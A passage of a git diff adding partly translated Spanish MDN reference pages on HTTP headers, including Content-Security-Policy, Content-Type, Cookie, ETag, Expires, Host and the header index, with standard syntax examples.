{{CSP("form-action")}}
+
Restricts the URLs which can be used as the target of a form submissions from a given context.
+
{{CSP("frame-ancestors")}}
+
Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.
+
{{CSP("navigate-to")}} {{experimental_inline}}
+
Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
+
+ +

{{Glossary("Reporting directive", "Reporting directives")}}

+ +

Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.

+ +
+
{{CSP("report-uri")}} {{obsolete_inline}}
+
Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP POST request to the specified URI. +
+

Though the {{CSP("report-to")}} directive is intended to replace the deprecated report-uri directive, {{CSP("report-to")}} isn’t supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both report-uri and {{CSP("report-to")}}:

+ + 
Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname
+ +

In browsers that support {{CSP("report-to")}}, the report-uri directive will be ignored.

+
+
+
{{CSP("report-to")}} {{experimental_inline}}
+
Fires a SecurityPolicyViolationEvent.
+
+ +

Other directives

+ +
+
{{CSP("block-all-mixed-content")}}
+
Prevents loading any assets using HTTP when the page is loaded using HTTPS.
+
{{CSP("referrer")}} {{obsolete_inline}}
+
Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.
+
{{CSP("require-sri-for")}}
+
Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.
+
+ +
+
{{CSP("trusted-types")}} {{experimental_inline}}
+
Used to specify a whitelist of Trusted Types policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).
+
+ +
+
{{CSP("upgrade-insecure-requests")}}
+
Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.
+
+ +

CSP in workers

+ +

Workers en general no se rigen por las politicas de seguridad de contenido de el documento (o padre del worker) que los creó. To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which requested the worker script itself.

+ +

The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.

+ +

Multiple content security policies

+ +

CSP allows multiple policies being specified for a resource, including via the Content-Security-Policy header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.

+ +

You can use the Content-Security-Policy header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains connect-src 'none'. Adding additional policies can only further restrict the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, connect-src 'none' is enforced.

+ +
Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/
+ +

Ejemplos

+ +

Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:

+ +
// header
+Content-Security-Policy: default-src https:
+
+// meta tag
+<meta http-equiv="Content-Security-Policy" content="default-src https:">
+
+ +

Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:

+ +
Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'
+ +

Example: Don't implement the above policy yet; instead just report violations that would have occurred:

+ +
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
+ +

See Mozilla Web Security Guidelines for more examples.

+ +

Espeficicaciones

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Adds disown-opener, manifest-src, navigate-to, report-to, strict-dynamic, worker-src. Undeprecates frame-src. Deprecates report-uri in favor if report-to.
{{specName("Mixed Content")}}{{Spec2('Mixed Content')}}Adds block-all-mixed-content.
{{specName("Subresource Integrity")}}{{Spec2('Subresource Integrity')}}Adds require-sri-for.
{{specName("Upgrade Insecure Requests")}}{{Spec2('Upgrade Insecure Requests')}}Adds upgrade-insecure-requests.
{{specName("CSP 1.1")}}{{Spec2('CSP 1.1')}}Adds base-uri, child-src, form-action, frame-ancestors, plugin-types, referrer, and report-uri. Deprecates frame-src.
{{specName("CSP 1.0")}}{{Spec2('CSP 1.0')}}Defines connect-src, default-src, font-src, frame-src, img-src, media-src, object-src, report-uri, sandbox, script-src, and style-src.
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy")}}

+ +

Mirar tambien

+ + diff --git a/files/es/web/http/headers/content-type/index.html b/files/es/web/http/headers/content-type/index.html new file mode 100644 index 0000000000..3073616c56 --- /dev/null +++ b/files/es/web/http/headers/content-type/index.html @@ -0,0 +1,111 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +translation_of: Web/HTTP/Headers/Content-Type +--- +
{{HTTPSidebar}}
+ +

Content-Type es la propiedad de cabecera (header) usada para indicar el  {{Glossary("MIME type","media type")}} del recurso.

+ +

Content-Type dice al cliente que tipo de contenido será retornado. Browsers will do MIME sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header {{HTTPHeader("X-Content-Type-Options")}} can be set to nosniff.

+ +

En solicitudes (tales como {{HTTPMethod("POST")}} o {{HTTPMethod("PUT")}}), el cliente indica al servidor que tipo de dato es enviado actualmente.

+ + + + + + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}si
+ +

Sintaxis

+ +
Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+
+ +

Directivas

+ +
+
media-type
+
El MIME type de el recurso o el dato.
+
charset
+
La codificación de caracteres.
+
boundary
+
Para entidades de tipo multipart la directiva boundary es obligatoria. Ella consiste en una secuencia de 1 a 70 caracteres de un conjunto conocido por su robustez en pasarelas de correo electrónico, y no pueden terminar con espacios en blanco. Es usada para encapsular los limites de los mensajes de múltiples partes.
+
+ +

Ejemplos

+ +

Content-Type in HTML forms

+ +

En una solicitud {{HTTPMethod("POST")}} , que resulta del envio de un formulario html, el Content-Type de la solicitud es especificado como un atributo enctype del elemento {{HTMLElement("form")}} .

+ +
<form action="/" method="post" enctype="multipart/form-data">
+  <input type="text" name="description" value="some text">
+  <input type="file" name="myFile">
+  <button type="submit">Submit</button>
+</form>
+
+ +

La solicitud se visualiza algo como esto (si tienes poco interes en los headers omite esto)

+ +
POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+---------------------------974767299852498929531610575
+
+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7233", "Content-Type in multipart", "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
{{RFC("7231", "Content-Type", "3.1.1.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad de navegador

+ + + +

{{Compat("http.headers.Content-Type")}}

+ +

Más sobre

+ + diff --git a/files/es/web/http/headers/cookie/index.html b/files/es/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..36cff2d8aa --- /dev/null +++ b/files/es/web/http/headers/cookie/index.html @@ -0,0 +1,74 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +tags: + - Cookies + - encabezado + - solicitud +translation_of: Web/HTTP/Headers/Cookie +--- +
{{HTTPSidebar}}
+ +
El encabezado Cookie de una solicitud HTTP contiene cookies HTTP almacenadas y enviadas previamente por el servidor con el encabezado (header) {{HTTPHeader("Set-Cookie")}}
+ +
 
+ +
Los encabezados Cookie puede ser omitidos por completo, si las preferencias de privacidad del navegador están configuradas para bloquearlos, por ejemplo.
+ +
 
+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Sintaxis

+ +
Cookie: <cookie-lista>
+Cookie: nombre=valor
+Cookie: nombre=valor; nombre2=valor2...nombreN=valorN;
+ +
+
<cookie-lista>
+
Una lista de pares nombre:valor definidos como <nombre-de-cookie=<valor-de-cookie>. Los pares en la lista son separados por un punto y coma seguido de un espacio ('; ').
+
+ +

Ejemplos

+ +
Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("6265", "Cookie", "5.4")}}HTTP State Management Mechanism
+ +

Compatibilidad en navegadores

+ + + +

{{Compat("http.headers.Cookie")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/cross-origin-resource-policy/index.html b/files/es/web/http/headers/cross-origin-resource-policy/index.html new file mode 100644 index 0000000000..7aa86a84d9 --- /dev/null +++ b/files/es/web/http/headers/cross-origin-resource-policy/index.html @@ -0,0 +1,68 @@ +--- +title: Cross-Origin-Resource-Policy +slug: Web/HTTP/Headers/Cross-Origin-Resource-Policy +tags: + - HTTP + - Referencia + - Respuesta de encabezado + - encabezado + - encabezado HTTP +translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy +--- +
{{HTTPSidebar}}
+ +

La respuesta del encabezado HTTP Cross-Origin-Resource-Policy transmite un deseo de que el navegador bloquee peticiones no-cors cross-origin/cross-site al recurso dado

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header", "Respuesta del encabezado")}}
{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}no
+ +

Sintaxis

+ +
Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin
+
+ +

Ejemplos

+ +

La respuesta de encabezado debajo puede causar que agentes de usuario compatibles desabiliten peticiones cross-origin no-cors:

+ +
Cross-Origin-Resource-Policy: same-origin
+
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName("Fetch", '#cross-origin-resource-policy-header')}}{{Spec2("Fetch", '#cross-origin-resource-policy-header')}}Definición inicial
+ +

Compatibilidad de los navegadores

+ + + +

{{Compat("http.headers.Cross-Origin-Resource-Policy")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/etag/index.html b/files/es/web/http/headers/etag/index.html new file mode 100644 index 0000000000..7e8b0ebe5d --- /dev/null +++ b/files/es/web/http/headers/etag/index.html @@ -0,0 +1,98 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +translation_of: Web/HTTP/Headers/ETag +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta de HTTP ETag es un identificador para una versión específica de un recurso.  Permite a la memoria caché ser más eficiente, y ahorrar ancho de banda, en tanto que un servidor web no necesita enviar una respuesta completa si el contenido no ha cambiado.  Por otro lado, si el contenido cambió, los etags son útiles para ayudar a prevenir actualizaciones simultáneas de un recurso de sobre-escribirlo por otro ("colisiones en el aire").

+ +

Si el recurso en una URL dada cambia, un valor Etag debe ser generado.  De esta forma los Etags son muy similares a las huellas digitales y pueden también usarse para propósitos de rastreo por algunos servidores.  Un comparativo de ellos permite rápidamente determinar cuándo dos representaciones de un recurso son las mismas, pero podrían también configurarse para persistir indefinidamente por un servidor en rastreo.

+ + + + + + + + + + + + +
Tipo de Encabezado{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
ETag: W/"<valor_etag>"
+ETag: "<valor_etag>"
+
+ +

Directivas

+ +
+
W/ {{optional_inline}}
+
'W/' (sensible a mayúsculas) indica que se usa un validador débil.  Los validadores débiles son fáciles de generar pero son menos útiles para realizar comparativos.  Los validadores fuertes son ideales para realizar comparativos pero pueden ser muy difíciles de generar  de forma eficiente.  Los valores Etag débiles de dos representaciones de los mismos recursos podrían ser semánticamente equivalentes, pero no idénticos byte por byte. Esto significa que los Etag débiles previenen el almacenamiento en caché cuando el range request por byte es usado, a su vez los Etag fuertes permiten que los range request puedan utilizar el almacenamiendo en caché.
+
"<valor_etag>"
+
Las Etiquetas de Entidad (ETags) representan de forma única a los recursos.  Son una cadena de caracteres ASCII puestas entre comillas dobles (Como "675af34563dc-tr34").  El método por el cual se generan los valores ETag no está especificado. Muchas veces, se usa una etiqueda del contenido, una etiqueta de la fecha y hora de la última modificación, o sólo una revisión.  Por ejemplo, MDN usa una etiqueda de dígitos hexadecimales para el contenido wiki.
+
+ +

Ejemplos

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"
+ +

Evitando las colisiones en el aire

+ +

Con la ayuda del ETag y los encabezados {{HTTPHeader("If-Match")}} se puede ser capaz de detectar las colisiones de edición en el aire.

+ +

Por ejemplo cuando se edita MDN, el contenido wiki actual es etiquetado y puesto en un Etag en la respuesta:

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Cuando se guarda los cambios de una página a una página wiki (datos posteados), la petición  {{HTTPMethod("POST")}} contendrá el encabezado que contiene los valores ETag para revisar la frescura entre ellas.

+ +
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Si las etiquetas no concuerdan, significa que el documento ha sido editado de por sí y se lanza un error  {{HTTPStatus("412")}} Precondition Failed.

+ +

Caching de los recursos invariados

+ +

Otro caso típico del uso del encabezado ETag es el cacheo de recursos que no han variado.  Si un usuario visita una URL dada nuevamente (la que tiene un conjunto ETag), y está viciado, es decir que es muy viejo para considerarlo usable, el cliente enviará el valor de su ETag a través de un campo de encabezado {{HTTPHeader("If-None-Match")}}:

+ +
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

El servidor compara el ETag del cliente (enviado con un If-None-Match) con el ETag para su versión actual del recurso y si ambos valores concuerdan (esto es, el recurso no ha cambiado), el servidor envió un estado {{HTTPStatus("304")}} Not Modified, sin ningún cuerpo, lo cual le dice al cliente que la versión cacheada de la respuesta todavía es buena para usar (refrescar).

+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7232", "ETag", "2.3")}}Protocolo de Transferencia por Hipertexto (HTTP/1.1): Peticiones Condicionales
+ +

Compatibilidad con Navegadores

+ + + +

{{Compat("http.headers.ETag")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/headers/expires/index.html b/files/es/web/http/headers/expires/index.html new file mode 100644 index 0000000000..80c39c61f6 --- /dev/null +++ b/files/es/web/http/headers/expires/index.html @@ -0,0 +1,81 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +tags: + - Cache + - Expires + - HTTP + - Respuesta + - encabezado +translation_of: Web/HTTP/Headers/Expires +--- +
{{HTTPSidebar}}
+ +

El encabezado Expires contiene la fecha y hora en la que se considerará la respuesta caducada.

+ +

Fechas inválidas, como el valor 0, representan una fecha en el pasado, esto significa que el recurso ya ha expirado.

+ +

Si existe un encabezado {{HTTPHeader("Cache-Control")}} con la directiva "max-age" o "s-max-age" en la respuesta, el encabezado Expires será ignorado.

+ + + + + + + + + + + + + + + + +
Encabezado{{Glossary("Response header")}}
{{Glossary("Nombre de encabezado Prohibido")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}si
+ +

Sintaxis

+ +
Expires: <http-date>
+
+ +

Directivas

+ +
+
<http-date>
+
+

Una estampa de tiempo HTTP.

+
+
+ +

Ejemplo

+ +
Expires: Jue, 21 Oct 2017 07:28:00 GMT
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7234", "Expires", "5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Compatibilidad en Navegadores

+ + + +

{{Compat("http.headers.Expires")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/host/index.html b/files/es/web/http/headers/host/index.html new file mode 100644 index 0000000000..2e7ac10815 --- /dev/null +++ b/files/es/web/http/headers/host/index.html @@ -0,0 +1,75 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +tags: + - Cabecera + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/Host +--- +
{{HTTPSidebar}}
+ +

El encabezado de solicitud Host especifica el nombre de dominio del servidor (para hosting virtual), y (opcionalmente) el número de puerto TCP en el que el servidor esta escuchando.

+ +

Si no se provee un puerto, se usará el puerto por defecto para el servicio solicitado (e.j.: "80" para una URL HTTP).

+ +

El encabezado Host debe enviarse obligatoriamente en todas las solicitudes HTTP/1.1. Un código de error {{HTTPStatus("400")}} (Petición mala) debería enviarse a cualquier solicitud HTTP/1.1 que no contiene o contiene más de un encabezado Host.

+ + + + + + + + + + + + +
Header typeEncabezado de solicitud
{{Glossary("Forbidden header name")}}sí
+ +

Sintaxis

+ +
Host: <host>:<puerto>
+
+ +

Directivas

+ +
+
<host>
+
el nombre de dominio del servidor (pata hosting virtual).
+
<puerto> {{optional_inline}}
+
número de puerto TCP en el que el servidor está escuchando.
+
+ +

Ejemplos

+ +
Host: developer.cdn.mozilla.net
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7230", "Host", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Host")}}

+ +

Véase también

+ + diff --git a/files/es/web/http/headers/index.html b/files/es/web/http/headers/index.html new file mode 100644 index 0000000000..4b4ed3c8a1 --- /dev/null +++ b/files/es/web/http/headers/index.html @@ -0,0 +1,396 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +
{{HTTPSidebar}}
+ +
Las cabeceras (en inglés headers) HTTP permiten al cliente y al servidor enviar información adicional junto a una petición o respuesta. Una cabecera de petición esta compuesta por su nombre (no sensible a las mayusculas) seguido de dos puntos ':', y a continuación su valor (sin saltos de línea). Los espacios en blanco a la izquierda del valor son ignorados
+ +
+ +
Se pueden agregar cabeceras propietarias personalizadas usando el prefijo 'X-', pero esta convención se encuentra desfasada desde Julio de 2012, debido a los inconvenientes causados cuando se estandarizaron campos no estandar en el RFC 6648; otras están listadas en un registro IANA, cuyo contenido original fue definido en el RFC 4229, IANA tambien mantiene un registro de propuestas para nuevas cabeceras HTTP
+ +
+ +

Las Cabeceras pueden ser agrupadas de acuerdo a sus contextos:

+ + + +

Las cabeceras también pueden clasificarse de acuerdo a cómo se comportan frente a ellas los proxies:

+ +
+
Cabeceras de extremo a extremo
+
Estas cabeceras deben ser enviadas al recipiente final del mensaje; esto es, el servidor (para una petición) o el cliente (para una respuesta). Los proxies intermediarios deben transmitir las cabeceras de extremo-a-extremo sin modificar, y las cachés deben guardarlas tal y como son recibidas.
+
Cabeceras de paso
+
Estas cabeceras sólo son significativas para conexiones de un paso, y no deben ser transmitidas por proxies o almacenarse en caché. Éstas cabeceras son: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. La cabecera general {{ httpheader("Connection") }} sólo puede usarse para este tipo de cabeceras.
+
+ +

La siguiente lista agrupa las cabeceras HTTP en categorías según su uso. Para visualizar una lista en orden alfabético, use el navegador del lado izquierdo.

+ +

Autenticación

+ +
+
{{HTTPHeader("WWW-Authenticate")}}
+
Define el método de autenticación que debería ser usado para tener acceso al contenido. 
+
{{HTTPHeader("Authorization")}}
+
Contiene las credenciales para autenticar a un usuario con un servidor.
+
{{HTTPHeader("Proxy-Authenticate")}}
+
Define el método de autenticación que debería ser usado para tener acceso a un recurso que se encuentre tras un servidor proxy.
+
{{HTTPHeader("Proxy-Authorization")}}
+
Contiene las credenciales para autenticar a un usuario con un servidor proxy.
+
+ +

Almacenamiento en caché

+ +
+
{{HTTPHeader("Age")}}
+
El tiempo en el que un objeto ha estado en una caché proxy, expresado en segundos.
+
{{HTTPHeader("Cache-Control")}}
+
Especifica directivas para los mecanismos de almacenamiento en caché, tanto para peticiones como para respuestas.
+
{{HTTPHeader("Expires")}}
+
La fecha y tiempo tras las cuales una respuesta se considera agotada. 
+
{{HTTPHeader("Pragma")}}
+
Cabecera specífica para implementaciones que puede tener diferentes efectos a lo lartgo del proceso de petición-respuesta. Utilizada para implementar retrocompatibilidad con cachés de tipo HTTP/1.0 donde la cabecera Cache-Control aún no esté presente.
+
{{HTTPHeader("Warning")}}
+
Un campo de alerta general, que contiene i nformación sobre diferentes problemas posibles.
+
+ +

Indicaciones sobre el cliente

+ +
+
{{HTTPHeader("Accept-CH")}}
+
...
+
+ +
+
{{HTTPHeader("Accept-CH-Lifetime")}}
+
...
+
{{HTTPHeader("Early-Data")}}
+
...
+
+ +
+
{{HTTPHeader("Content-DPR")}}
+
...
+
{{HTTPHeader("DPR")}}
+
...
+
{{HTTPHeader("Downlink")}}
+
...
+
{{HTTPHeader("Save-Data")}}
+
...
+
{{HTTPHeader("Viewport-Width")}}
+
...
+
{{HTTPHeader("Width")}}
+
...
+
+ +
+
+

Condicionales

+
+
{{HTTPHeader("Last-Modified")}}
+
Se trata de un validador, indicando la fecha de la última modificación del recurso, utilizado para comparar diferentes versiones del mismo recurso. No es tan preciso como {{HTTPHeader("ETag")}}, pero es más sencillo de calcular en algunos entornos. Las peticiones condicionales que usan {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Unmodified-Since")}}utilizan este valor para cambiar el comportamiento de la petición.
+
{{HTTPHeader("ETag")}}
+
Se trata de un validador, un tipo de hilo único identificando la versión del recurso. Las peticiones condicionales que usan {{HTTPHeader("If-Match")}} y {{HTTPHeader("If-None-Match")}} utilizan este valor para cambiar el comportamiento de la petición.
+
{{HTTPHeader("If-Match")}}
+
Realiza la petición condicional y aplican el método sólo si el recurso almacenado coincide con uno de los ETags asignados.
+
{{HTTPHeader("If-None-Match")}}
+
Realiza la petición condicional y aplican el método sólo si el recurso almacenado no coincide con ninguno de los ETags. Ésta cabecera se utiliza para actualizar cachés (para peticiones seguras), o para prevenir la subida de un recurso si éste ya existe en el servidor.
+
{{HTTPHeader("If-Modified-Since")}}
+
Realiza la petición condicional y espera que la entidad sea transmitia sólo si ha sido modificada tras la fecha especificada. Esta cabecera se usa para transmitir datos si la cabecera ha quedado desfasada.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Realiza la petición condicional y espera que la entidad sea transmitia sólo si no ha sido modificada tras la fecha especificada. Esta cabecera se usa para preservar la coherencia de un nuevo fragmento de un rango especifico respecto a otros ya existentes, o para implementar un sistema de control de concurrencia optimistacuando se están modificando documentos existentes. 
+
+ +

Gestión de conexiones

+ +
+
{{HTTPHeader("Connection")}}
+
Controla si la conexión a la red se mantiene activa después de que la transacción en curso haya finalizado.
+
{{HTTPHeader("Keep-Alive")}}
+
Controla el tiempo durante el cual una conexión persistente debe permanecer abierta.
+
+ +

Negociación de contenido

+ +
+
{{HTTPHeader("Accept")}}
+
Informa al servidor sobre los diferentes tipos de datos que pueden enviarse de vuelta. Es de tipo MIME.
+
{{HTTPHeader("Accept-Charset")}}
+
Informa al servidor sobre el set de caracteres que el cliente puede entender.
+
{{HTTPHeader("Accept-Encoding")}}
+
Informa al servidor sobre el algoritmo de codificación, habitualmente un algoritmo de compresión, que puede utilizarse sobre el recurso que se envíe de vuelta en la respuesta.
+
{{HTTPHeader("Accept-Language")}}
+
Informa al servidor sobre el lenguage que el servidor espera recibir de vuelta. Se trata de una indicación, y no estará necesariamente sometida al control del cliente: el servidor siempre deberá estar atento para no sobreescribir una selección específica del usuario (como, por ejemplo, una selección de idiomas en una lista desplegable). 
+
+ +
+
+ +

Controles

+ +
+
{{HTTPHeader("Expect")}}
+
...
+
{{HTTPHeader("Max-Forwards")}}
+
...
+
+ +

Cookies

+ +
+
{{HTTPHeader("Cookie")}}
+
Contiene HTTP cookies enviadas previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie")}} .
+
{{HTTPHeader("Set-Cookie")}}
+
Envia cookies desde el servidor al usuario.
+
{{HTTPHeader("Cookie2")}} {{obsolete_inline}}
+
Habitualmente contenía una cookie HTTP, enviada previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie2")}} , pero ha quedado obsoleta por la especificación. Utiliza en su lugar {{HTTPHeader("Cookie")}}.
+
{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}
+
Se utilizaba para enviar cookies desde el servidor al usuario, but has been obsoleted by the specification. pero ha quedado obsoleta por la especificación. Utiliza en su lugar  {{HTTPHeader("Set-Cookie")}} .
+
+

CORS

+
+
{{HTTPHeader("Access-Control-Allow-Origin")}}
+
Indica si la respuesta puede ser compartida.
+
{{HTTPHeader("Access-Control-Allow-Credentials")}}
+
Indica si la respuesta puede quedar expuesta o no cuando el marcador de la credencial retorna como 'true'. 
+
{{HTTPHeader("Access-Control-Allow-Headers")}}
+
Utilizado como respuesta a una solicitud de validación para indicár qué cabeceras HTTP pueden utilizarse a la hora de lanzar la petición.
+
{{HTTPHeader("Access-Control-Allow-Methods")}}
+
Especifica el método (o métodos) permitido al acceder al recurso, en respuesta a una petición de validación.
+
{{HTTPHeader("Access-Control-Expose-Headers")}}
+
Indica qué cabeceras pueden ser expuestas como parte de una respuesta al listar sus nombres. 
+
{{HTTPHeader("Access-Control-Max-Age")}}
+
Indica durante cuánto tiempo puede guardarse el resultado de una solicitud de validación. 
+
{{HTTPHeader("Access-Control-Request-Headers")}}
+
Utilizada al lanzar una petición de validación, para permitir al servidor saber qué cabeceras HTTP se utilizarán cuando la petición en cuestión se lance. 
+
{{HTTPHeader("Access-Control-Request-Method")}}
+
Utilizada al enviar una solicitud de validación que permite al servidor saber qué método HTTP se utilizará cuando la petición en cuestión se lance. 
+
{{HTTPHeader("Origin")}}
+
Indica el punto de origen de una petición de recogida.
+
{{HTTPHeader("Timing-Allow-Origin")}}
+
Especifica los origines que tienen permitido ver los valores de los atributos obtenidos mediante las características de la Resource Timing API, que de otra forma serían reportados como cero debido a los orígenes cruzados.
+
+ +

Cabeceras sin seguimiento

+ +
+
{{HTTPHeader("DNT")}}
+
Usada para indicar las preferencias de seguimiento (tracking) del usuario.
+
{{HTTPHeader("Tk")}}
+
Indica el estado del seguimiento que se aplica a la petición en curso.
+
+ +

Descargas

+ +
+
{{HTTPHeader("Content-Disposition")}}
+
Una cabecera de respuesta usada en caso de que el recurso transmitid deba mostrarse en pantalla , o debe ser gestionada como una descarga y por tanto el navegador deba presentar una pantalla de 'Guardar Como'. 
+
+ +

Mensajes sobre la información del cuerpo (body)

+ +
+
{{HTTPHeader("Content-Length")}}
+
Indica el tamaño del cuerpo del recurso, expresado en números decimales de octetos, que ha sido enviado al recipiente.
+
{{HTTPHeader("Content-Type")}}
+
Indica el tipo de medio del recurso .
+
{{HTTPHeader("Content-Encoding")}}
+
Utilizado para indicar el algoritmo de compresión.
+
{{HTTPHeader("Content-Language")}}
+
Indica el idioma (o idiomas) elegidos para los usuarios, de forma que se pueda mostrar contenido diferenciado para el usuario de acuerdo a sus preferencias de idioma.
+
{{HTTPHeader("Content-Location")}}
+
Indica un punto de origen alternativo para un recurso.
+
+

Proxies

+
+
+ +
+
{{HTTPHeader("Forwarded")}}
+
Contiene información sobre el 'lado cliente' de un servidor proxy, que se alteraría o perdería si un proxy está involucrado en la ruta de la petición.
+
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
+
Identifica la IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.
+
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
+
Identifies the la dirección original solicitada que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.
+
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
+
Identifica el protocolo (HTTP o HTTPS) que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.
+
{{HTTPHeader("Via")}}
+
Añadida por los proxies, y pueden aparecer tanto en las cabeceras de petición como las de respuesta.
+
+ +

Redirecciones

+ +
+
{{HTTPHeader("Location")}}
+
Indica la URL a la que debe redirigir una página determinada.
+
+ +

Contexto de petición

+ +
+
{{HTTPHeader("From")}}
+
Contiene la dirección de email de un usuario humano que controla el gestor de peticiones.
+
{{HTTPHeader("Host")}}
+
Especifica el nombre de dominio del servidor (para alojamiento virtual), y (opcionalmente) el número de puerto TCP en el que está escuchando el servidor.
+
{{HTTPHeader("Referer")}}
+
Indica la dirección de la página web previa desde la cual un link nos ha redirigido a la actual.
+
{{HTTPHeader("Referrer-Policy")}}
+
Establece la información del referer que deberá ser enviada en las peticiones que incluyan {{HTTPHeader("Referer")}}.
+
{{HTTPHeader("User-Agent")}}
+
Contiene un string característico que será examinado por el protocolo de red para identificar el tipo de aplicación, sistema operativo, proveedor de software o versión del software del agente de software que realiza la petición. Véase también Firefox user agent string reference.
+
+ +

Contexto de respuesta

+ +
+
{{HTTPHeader("Allow")}}
+
Lista el rango de métodos de peticiones HTTP aceptadas por un servidor.
+
{{HTTPHeader("Server")}}
+
Contiene información sobre el software utilizado por el servidor de origen para gestionar la petición.
+
+ +

Peticiones de rango

+ +
+
{{HTTPHeader("Accept-Ranges")}}
+
Indica si el servidor acepta peticiones de rango y, de ser así, en qué unidades puede expresarse ese rango. 
+
{{HTTPHeader("Range")}}
+
